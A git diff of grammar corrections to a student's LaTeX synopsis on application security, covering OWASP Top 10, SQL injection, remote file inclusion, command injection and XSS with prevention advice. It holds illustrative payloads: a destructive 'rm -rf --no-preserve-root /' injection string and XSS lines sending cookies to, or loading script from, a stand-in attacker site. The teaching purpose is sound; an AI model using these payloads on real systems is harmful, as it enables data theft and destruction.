Corrected some errors

1 files changed, 108 insertions, 102 deletions

diff --git a/synopsis.tex b/synopsis.tex
index ae90841..4d9a7cf 100644
--- a/synopsis.tex
+++ b/synopsis.tex
@@ -23,25 +23,25 @@
 \section{Introduction}
 
 One of the mandatory activities in Computer Science course at Erhvervsakademi
-Sjælland is an individual specialization project. In this project, student has
+Sjælland is an individual specialization project. In this project, a student has
 to choose a subject, which was not presented during the lectures, research it
-and describe it in the synopsis.
+and describe it in a synopsis.
 
 I have chosen application security as the topic that I want to learn more about.
-Application security is an umbrella term for all of the measures that need to
+Application security is an umbrella term for all of the measures that need to be
 taken in order to make a secure application. That means finding, fixing and
 preventing security vulnerabilities.
 
 I decided to work on this subject, because in previous semesters we have learned
-how to make programs, services and web applications, but we did not learn how to
-make them safe from exploitation. It is important, since a potential attacker
+how to make programs, services, and web applications, but we did not learn how
+to make them safe from exploitation. It is important since a potential attacker
 could use it to gain access to the system without authorization, retrieve some
 sensitive data, abuse or even break the system. This could lead to some serious
 consequences.
 
 \section{Problem definition}
 
-During my research I am going to delve deeper into the subject of application
+During my research, I am going to delve deeper into the subject of application
 security, its meaning, principles, importance in the modern software
 development, as well as practical implementation.
 The main question which I would like to answer is:
@@ -57,7 +57,7 @@ following problems:
 	\item What is application security?
 	\item What are the most common application security flaws and attack
 		techniques?
-	\item How software developers can prevent them?
+	\item How can software developers prevent them?
 \end{itemize}
 
 \newpage
@@ -69,13 +69,13 @@ The method which I am going to use in my research consists of a few activities:
 \begin{itemize}
 	\item Getting general information about application security using all
 		of the sources available on the internet, this could include
-		reading articles, watching videos, talks, lectures and and
-		online courses
-	\item Reading books related to the subject of application security
+		reading articles, watching videos, talks, lectures and online
+		courses.
+	\item Reading books related to the subject of application security.
 	\item Finding detailed descriptions and tutorials about specific attack
-		techniques
+		techniques.
 	\item Trying to reproduce the attacks by creating vulnerable
-		applications, exploiting them and trying to make them secure
+		applications, exploiting them and trying to make them secure.
 \end{itemize}
 
 \section{Plan}
@@ -105,13 +105,13 @@ before the deadline, I have prepared a plan which I will try to follow:
 The first week is a project initialization phase, in which I will describe what
 I am going to do in the next weeks, how and why.
 
-In the second and third week I will focus on learning, finding information and
+In the second and third week, I will focus on learning, finding information and
 describing the results of it. I am also going to work on the practical part of
 this project, which is learning how to use different attack techniques and
 creating examples for the presentation of them.
 
-In the last week I will look back at my work, write summary of it, as well as
-reflections on the research process. I will also proof read my synopsis and
+In the last week, I will look back at my work, write a summary of it, as well as
+my reflections on the research process. I will also proofread my synopsis and
 correct any mistakes that I find.
 
 \newpage
@@ -147,9 +147,10 @@ common form of application. Every day billions of people are searching for
 information using Google, browsing Facebook and watching videos on YouTube. All
 of these are web applications. What makes them different from regular websites
 is that they do not just display static content, but allow users to interact
-with them. Users can for example sign up, log in, write comments, upload videos.
-A lot of sensitive data is flowing between the user and the system. This, and
-being publicly available, makes them frequent targets of the attackers.
+with them. Users can, for example, sign up, log in, write comments, upload
+videos. A lot of sensitive data is flowing between the user and the system.
+This, and being publicly available, makes them frequent targets of the
+attackers.
 
 Other common targets are mobile and desktop applications, with the emphasis on
 the first one. Just like web apps they are usually part of a bigger system and
@@ -159,7 +160,7 @@ holes, easy gateways leading to the precious resources.
 
 \newpage
 
-\subsection{Why application security is important?}
+\subsection{Why is application security important?}
 
 There should be no doubt about the importance of application security. There are
 many reasons for that.
@@ -169,7 +170,7 @@ the attackers, if the application becomes compromised. This could include names,
 addresses, login credentials, credit card information, bank account details,
 private photos and many more information about the users of the system. By
 breaking into the unprotected system, attackers could also gain access to
-company's internal data: important documents, list of employees, private keys
+company's internal data: important documents, list of employees, private keys,
 and passwords. All this information could be useful for them in various ways.
 For example, it could be used to buy things or perform financial operations
 without the knowledge of the account owner. The data could be sold on the black
@@ -182,33 +183,34 @@ losses of money and force changes of plans.
 
 Another issue is the possibility of gaining access to functionality reserved
 only for privileged users, such as moderators and administrators. It could allow
-not only for data theft, but also for damaging the system and stored
+not only for data theft but also for damaging the system and stored
 information. It would allow for spreading viruses and malware throughout the
 whole platform, creating a botnet, spambots, mining cryptocurrencies and making
 it vulnerable to further attacks. It would be sufficient just to insert
 malicious code into the application and infest its users.
 
-Other, non-technical risks include the possible lost of trust from customers,
+Other, non-technical risks include the possible loss of trust from customers,
 who value privacy and wish their data to be secure. It could even lead to
-lawsuits, like it happened to Yahoo which got sued over security breaches that 
-took place between 2013 and 2016. Private information of at least 3 billions 
-users were exposed, it included names e-mail addresses, dates of birth,
+lawsuits like it happened to Yahoo which got sued over security breaches that 
+took place between 2013 and 2016. Private information of at least 3 billion 
+users was exposed, it included names, e-mail addresses, dates of birth,
 phone numbers, passwords, etc. It cost the company hundreds of millions of
 dollars and damaged the brand image permanently. On the other hand, providing
 good security could help in gaining new clients.
 
 In the wake of mobile and Internet of Things applications, security should be
-top priority for application developers. IoT creates many new risks that were
-never seen before. Since all of the devices are connected to the internet, they
-can be accessed by the attackers. It is a big threat to the privacy of their
-users, because they can be used to spy on them 24/7 by utilizing built-in
-camera, microphone or reading device activity and logs. This information could
-be used to blackmail the victims or even help in burglary. By knowing the
-victim's daily routine, the criminal could try to break in to the house when its
-owner is out. Moreover, he could exploit the "smart home" security system, since
-usually it is also connected to the network. Finally, the attacker could use the
-functionality of the compromised IoT devices in a bad way, for example making
-them use a lot of power, causing short circuit or even starting fire.
+the top priority for application developers. IoT creates many new risks that
+were never seen before. Since all of the devices are connected to the internet,
+they can be accessed by the attackers. It is a big threat to the privacy of
+their users because they can be used to spy on them 24/7 by utilizing the
+built-in camera, microphone or reading device activity, and logs. This
+information could be used to blackmail the victims or even help in a burglary.
+By knowing the victim's daily routine, the criminal could try to break into the
+house when its owner is out. Moreover, he could exploit the "smart home"
+security system, since usually it is also connected to the network. Finally,
+the attacker could use the functionality of the compromised IoT devices in a
+bad way, for example making them use a lot of power, causing a short circuit or
+even starting a fire.
 
 \newpage
 
@@ -219,10 +221,11 @@ rest. A non-profit organization called Open Web Application Security Project
 (or just OWASP for short), which mission is to make software more secure,
 publishes a compilation of these vulnerabilities every 3 years in a document
 titled \textit{OWASP Top 10 - The Ten Most Critical Web Application Security
-Risks}. It is a result of the work of OWASP, over 40 security companies and over
-500 individuals. It lists the most common weakness, describes each of them in
-details, with examples and ways of prevention. It also contains further advices
-for developers, security testers, organizations and application managers.
+Risks}. It is a result of the work of OWASP, over 40 security companies and
+over 500 individuals. It lists the most common weakness, describes each of them
+in details, with examples and ways of prevention. It also contains further
+pieces of advice for developers, security testers, organizations and
+application managers.
 
 The latest release of OWASP Top 10 lists these vulnerabilities as the most
 critical web application security risks:
@@ -250,7 +253,7 @@ critical web application security risks:
 		privileged users without authorization or to access other users'
 		accounts and sensitive data.
 	\item \textbf{A6:2017 - Security Misconfiguration} \\
-		Insecure configuration of some components of the system, for
+		The insecure configuration of some components of the system, for
 		example by using default config files or enabling debugging
 		options, which give detailed error messages with information
 		useful to the attackers. This includes also neglect of patching
@@ -266,16 +269,17 @@ critical web application security risks:
 		escalation attacks.
 	\item \textbf{A9:2017 - Using Components with Known Vulnerabilities} \\
 		A weakness in one component could lead to a compromise of the
-		whole system. Application is just as secure as its weakest link.
+		whole system. An application is just as secure as its weakest
+		link.
 	\item \textbf{A10:2017 - Insufficient Logging \& Monitoring} \\
-		Application needs to log what is happening inside it and its
+		An application needs to log what is happening inside it and its
 		status needs to be monitored so, in case of a breach,
 		the administrators could detect it, find a cause of it and fix
 		the weakness.
 \end{itemize}
 
-Apart from these risks there are also some additional weaknesses that need to be
-taken into consideration when creating an application:
+Apart from these risks, there are also some additional weaknesses that need to
+be taken into consideration when creating an application:
 
 \begin{itemize}
 	\item CWE-352: Cross-Site Request Forgery (CSRF)
@@ -299,15 +303,15 @@ Let's take a closer look at some of the listed vulnerabilities now.
 \subsubsection{How it works}
 
 When an application is not protected against this exploitation, it is possible
-to insert a malicious code to the input field, which could be a part of a login
-page or some form. Nothing bad could happen if a user types in it normal,
-expected text, like \texttt{johnsmith@mail.com}. But if an attacker puts there a
-specially crafted message like \texttt{login' OR '1'='1}, he could be able to
+to insert a malicious code into the input field, which could be a part of a
+login page or some form. Nothing bad could happen if a user types in it normal,
+expected text, like \texttt{johnsmith@mail.com}. But if an attacker puts there
+a specially crafted message like \texttt{login' OR '1'='1}, he could be able to
 login to the system without a password.
 
 The way it works is simple. In this case, it is a SQL injection attack. When a
-user presses login button, the contents of the input fields are sent to the
-back-end, which is executing a SQL query to find a user with specified user name
+user presses the login button, the contents of the input fields are sent to the
+back-end, which is executing a SQL query to find a user with specified username
 and later to validate the password. This is how the first part of this query
 could look like:
 
@@ -329,12 +333,12 @@ attack scenario the query would look like this:
 SELECT * FROM Users WHERE Username = 'login' OR '1'='1';
 \end{minted}
 
-In this case the original query is changed by the attacker. \texttt{OR '1'='1'}
-added by the attacker is a statement, which is always true. Therefore, the
-database ignores the first condition (\texttt{WHERE Username = 'login'}), which
-is false because there is no user with a user name \texttt{login} and returns
-all users. The application expect only one user to be returned, so it will only
-take the first one and login the attacker as this user.
+In this case, the original query is changed by the attacker. \texttt{OR
+'1'='1'} added by the attacker is a statement, which is always true. Therefore,
+the database ignores the first condition (\texttt{WHERE Username = 'login'}),
+which is false because there is no user with a username \texttt{login} and
+returns all users. The application expects only one user to be returned, so it
+will only take the first one and log in the attacker as this user.
 
 Apart from SQL injection, there are many more injection attack techniques. Here
 is an example of remote file injection made in PHP:
@@ -347,15 +351,15 @@ is an example of remote file injection made in PHP:
 ?>
 \end{minted}
 
-The intended behavior is to load a PHP file, which is on the sever, when loading
-a URL like: \texttt{https://example.com/cars.php?car=lamborghini}. This should
-load lamborghini.php file. However, it could be exploited to load a remote file
-with malicious code just by changing the end of the URL, from
-\texttt{lamborghini} to \texttt{https://attackerswebsite.com/badcode}.
+The intended behavior is to load a PHP file, which is on the server, when
+loading an URL like: \texttt{https://example.com/cars.php?car=lamborghini}.
+This should load the lamborghini.php file. However, it could be exploited to
+load a remote file with malicious code just by changing the end of the URL,
+from \texttt{lamborghini} to \texttt{https://attackerswebsite.com/badcode}.
 
 Another injection attack is command injection. In this attack, the attacker can
-execute shell commands by passing them to application, which does not do input
-validation. Here is a C code, which is vulnerable to this technique:
+execute shell commands by passing them to an application, which does not do
+input validation. Here is a C code, which is vulnerable to this technique:
 
 \begin{minted}{c}
 #include <stdlib.h>
@@ -373,7 +377,7 @@ int main(int argc, char **argv)
 \end{minted}
 
 It is just a simple wrapper around echo command, which prints whatever text
-passed as an argument. Output of \texttt{Hello!} would be \texttt{Hello!}.
+passed as an argument. The output of \texttt{Hello!} would be \texttt{Hello!}.
 But passing \texttt{Hello!; rm -rf --no-preserve-root /} will not only print
 \texttt{Hello!}, but also wipe the system partition completely, if run with 
 superuser privileges.
@@ -384,18 +388,19 @@ To avoid injection attacks or at least minimize their consequences, it is
 important to validate any input that is provided by the user or could be sent to
 the application in other ways. There are many approaches to this.
 
-One way is to blacklist possibly malicious keywords, such us \texttt{OR '1'='1}
+One way is to blacklist possibly malicious keywords, such as \texttt{OR '1'='1}
 or \texttt{rm -rf --no-preserve-root /}, but this approach is far from ideal.
-First problem is that it is impossible to block every troublesome combination,
-there are just too many of them. Changing \texttt{OR '1'='1} to \texttt{OR
-'x'='x} or putting comments inside the query could easily bypass this filter.
+The first problem is that it is impossible to block every troublesome
+combination, there are just too many of them. Changing \texttt{OR '1'='1} to
+\texttt{OR 'x'='x} or putting comments inside the query could easily bypass
+this filter.
 
 Whitelisting is probably a better technique. Instead of blocking some keywords,
-it is allowing only specific characters or combinations. For example it could
+it is allowing only specific characters or combinations. For example, it could
 accept only letters from a to z and digits from 0 to 9. In case there are some
 other characters, the message will be blocked. It is a very good approach, but
 it has some drawbacks. If a form requires a user to put his last name, but it
-contains apostrophe (e.g. O'Malley) or special letter with accent (e.g.
+contains an apostrophe (e.g. O'Malley) or a special letter with an accent (e.g.
 Polański), he will not be able to put it there.
 
 Sanitization is another, highly effective approach. It works by removing
@@ -405,8 +410,8 @@ say an attacker injects a dangerous script, like
 it safe by stripping \texttt{<script>} tags and removing quotation marks.
 
 Finally, the best method to ensure the processed data is safe could be using
-API intended for that, which does not use interpreter or utilizes a
-parameterized interface. An example of that would sending prepared statements
+API intended for that, which does not use an interpreter or utilizes a
+parameterized interface. An example of that would be sending prepared statements
 with parameterized queries to prevent SQL injections just like in the C\# code
 below:
 
@@ -418,7 +423,7 @@ cmd.Parameters.AddWithValue("@param_username, username);
 \end{minted}
 
 This way, if an attacker will send \texttt{login' OR '1'='1} to the application,
-it will not cause any harm, because the query would literally try to find a user
+it will not cause any harm, because the query would simply try to find a user
 with name \texttt{login' OR '1'='1}.
 
 \subsection{Cross-Site Scripting (XSS)}
@@ -439,7 +444,7 @@ executed. It could be simple like:
 document.cookie</script>
 \end{minted}
 
-This script would create a HTTP request to attacker's website with the victim's
+This script would create an HTTP request to attacker's website with the victim's
 cookies, which could contain for example very useful session token. It is also
 possible to include much bigger scripts with:
 
@@ -447,9 +452,9 @@ possible to include much bigger scripts with:
 <script src="http://attackerswebsite.com/evilscript.js"></script>
 \end{minted}
 
-Reflected attack works by reflecting the injected code off the trusted website.
-For example, an attacker might send an URL with malicious code to the victim,
-e.g:
+The reflected attack works by reflecting the injected code off the trusted
+website.  For example, an attacker might send an URL with malicious code to the
+victim, e.g:
 \texttt{http://website.com/<script\%20src="http://attackerswebsite.com/
 evilscript.js"></script>}. The URL itself is not dangerous, but the vulnerable
 website might show an error message containing the URL, thus embedding it and
@@ -474,7 +479,7 @@ principles:
 \begin{itemize}
 	\item \textbf{Minimize attack surface area}
 		The more features an application has, the higher the risk of it
-		being vulnerable to exploits, because the attack surface area is
+		being vulnerable to exploits because the attack surface area is
 		bigger. It is encouraged to add only necessary functions and
 		make them simple.
 	\item \textbf{Establish secure defaults}
@@ -482,7 +487,7 @@ principles:
 		disable them, if a user wishes to.
 	\item \textbf{Principle of Least privilege}
 		Every entity in the application should have just as many
-		privileges and resources as they need to perform their actions,
+		privileges and resources as they need to perform their actions
 		and no more than that.
 	\item \textbf{Principle of Defense in depth}
 		The defense should be created by layered security mechanisms, so
@@ -493,17 +498,18 @@ principles:
 		still serve its purpose and block the request that caused the
 		error.
 	\item \textbf{Don't trust services}
-		When an application is using third party services, it should be
-		careful just like with any other external system. These services
-		could have different, perhaps worse security and might get
-		compromised. Trusting them too much creates a risk for the app.
+		When an application is using the third party services, it
+		should be careful just like with any other external system.
+		These services could have different, perhaps worse security and
+		might get compromised. Trusting them too much creates a risk
+		for the app.
 	\item \textbf{Separation of duties}
 		Every user of the application has his role (e.g. administrator,
 		client) and capabilities. An account with one role should not
-		have functionality of another role.
+		have the functionality of another role.
 	\item \textbf{Avoid security by obscurity}
 		Application's security should not rely on keeping secrets, like
-		being closed source or using custom cypher algorithm. It should
+		being closed source or using custom cipher algorithm. It should
 		be also using other security mechanisms.
 	\item \textbf{Keep security simple}
 		Simple code is more secure and faster than a complex one, as it
@@ -519,7 +525,7 @@ Microsoft created software development process which follows these principles,
 Security Development Lifecycle (SDL). It consists of 16 practices, split into 6
 phases. These activities include: security training, setting requirements and
 minimal levels of security, risks assessment, designing secure functionality and
-security functions, safe implementation, analysis and testing of produced
+security functions, safe implementation, analysis, testing of the produced
 application, creating emergency plan and final review.
 
 \newpage
@@ -529,7 +535,7 @@ application, creating emergency plan and final review.
 To conclude, to make a secure application it is important to understand the
 concept and importance of application security, to know the possible
 vulnerabilities and design the app in a way which would prevent them. There are
-many exploits, but most of them are well-known, since they are present for many
+many exploits, but most of them are well-known since they are present for many
 years. To each one of them, there are possible countermeasures. Some of them are
 better than the others depending on the situation, requirements, environment.
 They have their benefits, but they could also have drawbacks sometimes. It is up
@@ -541,20 +547,20 @@ prevention methods made by people dedicated to making software more secure.
 \section{Reflection}
 
 Thanks to this project I have learned a lot about application security and how
-to make my apps secure. I got really interested in this subject and I would like
-to continue studying it. That is why I believe it was a good decision to pick up
-this topic. The questions I asked in my problem definition were on point as, by
-trying to answer them, I managed to describe the things I wanted to learn and
-write about. I think my methods of research were correct, since availability of
-resources made it easy to find information in many different, interesting forms.
-Creation of examples allowed me to not only understand the security concepts in
-theory, but also in practice. The plan I came up with was good, because it
-allowed me to focus on my goals instead of single activities in specific days,
-which would be hard to follow, because of my dynamic schedule. Although, looking
-back at it, I could make it better by assigning less time on initial and final
-activities, and putting more time on the actual work. This made me not follow my
-plan completely the way I would like to. However, in the end I managed to finish
-my synopsis on time, so it is not a big issue.
+to make my apps secure. I got really interested in this subject and I would
+like to continue studying it. That is why I believe it was a good decision to
+pick up this topic. The questions I asked in my problem definition were on
+point as, by trying to answer them, I managed to describe the things I wanted
+to learn and write about. I think my methods of research were correct since the
+availability of resources made it easy to find information in many different,
+interesting forms.  Creation of examples allowed me to not only understand the
+security concepts in theory but also in practice. The plan I came up with was
+good because it allowed me to focus on my goals instead of single activities on
+specific days, which would be hard to follow, because of my dynamic schedule.
+Although looking back at it, I could make it better by assigning less time on
+initial and final activities and putting more time on the actual work. This
+made me not follow my plan completely the way I would like to. However, in the
+end, I managed to finish my synopsis on time, so it is not a big issue.
 
 \newpage